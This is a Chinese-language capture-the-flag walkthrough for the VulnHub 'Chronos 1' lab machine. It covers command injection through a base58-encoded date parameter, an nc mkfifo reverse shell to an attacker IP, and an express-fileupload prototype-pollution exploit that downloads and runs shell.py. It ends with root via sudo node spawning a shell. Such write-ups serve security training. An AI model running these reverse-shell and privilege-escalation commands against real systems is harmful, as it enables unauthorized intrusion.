1.靶机介绍
靶机下载地址:https://www.vulnhub.com/entry/chronos-1,735/
靶机介绍:
Description
Difficulty : medium
This works better with VirtualBox rather than VMware。
靶机IP:10.8.1.251
2.端口发现
扫描靶机信息,发现开放了22、25、80、110、8000端口
3.WEB访问
访问web80和8000端口,都没有什么可利用的
查看源码,发现可疑的url,http://chronos.local:8000/date?format=4ugYDuAkScCG5g
McZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
将chronos.local添加到/etc/hosts下正常解析
再次访问80网站,4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL这一串应该是日期命令
http://chronos.local:8000/date?format=ls,将format后边随便加个ls,报错,非base58字符
那就用base解密一下4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,日期命令
在web80端口利用burpsuite抓包,这里有2个包,一个是OPTIONS的包是80端口的先放过去,然后会有一个GET的
向chronos.local:8000发送的请求包,发现User-Agent: Chronos和OPIIONS包的不同,执行pwd命令,用base58
加密得到5JeBr9q,运行后成功返回当前目录为/opt/chronos。
查看下/etc/passwd,成功执行,只有一个imera用户
4.反弹shell
利用nc 反弹shell,rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.1.169 1234 >/tmp/f经过base58加密
得到2gxfnU3zJpKCbHYT5fzvYdqM2TL9waXViedX88Z8vgmKyvFDw7fCgTnFfh8qwVeVw6NkvRhjRzq3iDgmko7
c7TeM5AksHZV6oe5,直接添加在format=之后运行就可以。
本机开启监听,执行后反弹成功。
python -c 'import pty;pty.spawn("/bin/bash")'升级下shell,在/opt目录又发现个chronos-v2目
录backend目录,依次查看
5.express-fileupload RCE漏洞利用
express-fileupload文件上传,在本地监听了8080端口
查找express-fileupload漏洞,CVE-2020-7699,ejs模板引擎存在一个利用原型污染,进行RCE
在https://blog.p6.is/Real-World-JS-1/得到利用代码
已经得到靶机监听的是本地8080端口,更改一下代码,写入到shell.py
本地开启python -m http.server 80,靶机下载shell.py到/tmp下
本地开启监听,靶机给shell.py赋权,执行,成功反弹连接
6.提权
进到/home/imera下,查看user.txt,得到flag:byBjaHJvbm.9zIHBlcm5hZWkgZmlsZSBtb3UK。
习惯性sudo -l,发现可以不需要密码执行/usr/local/bin/npm *和/usr/local/bin/node *
python -c 'import pty;pty.spawn("/bin/bash")'先升级下shell,尝试了npm无法提权,那就用node提权
直接执行sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})',得到root权限,拿到flag
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK。
|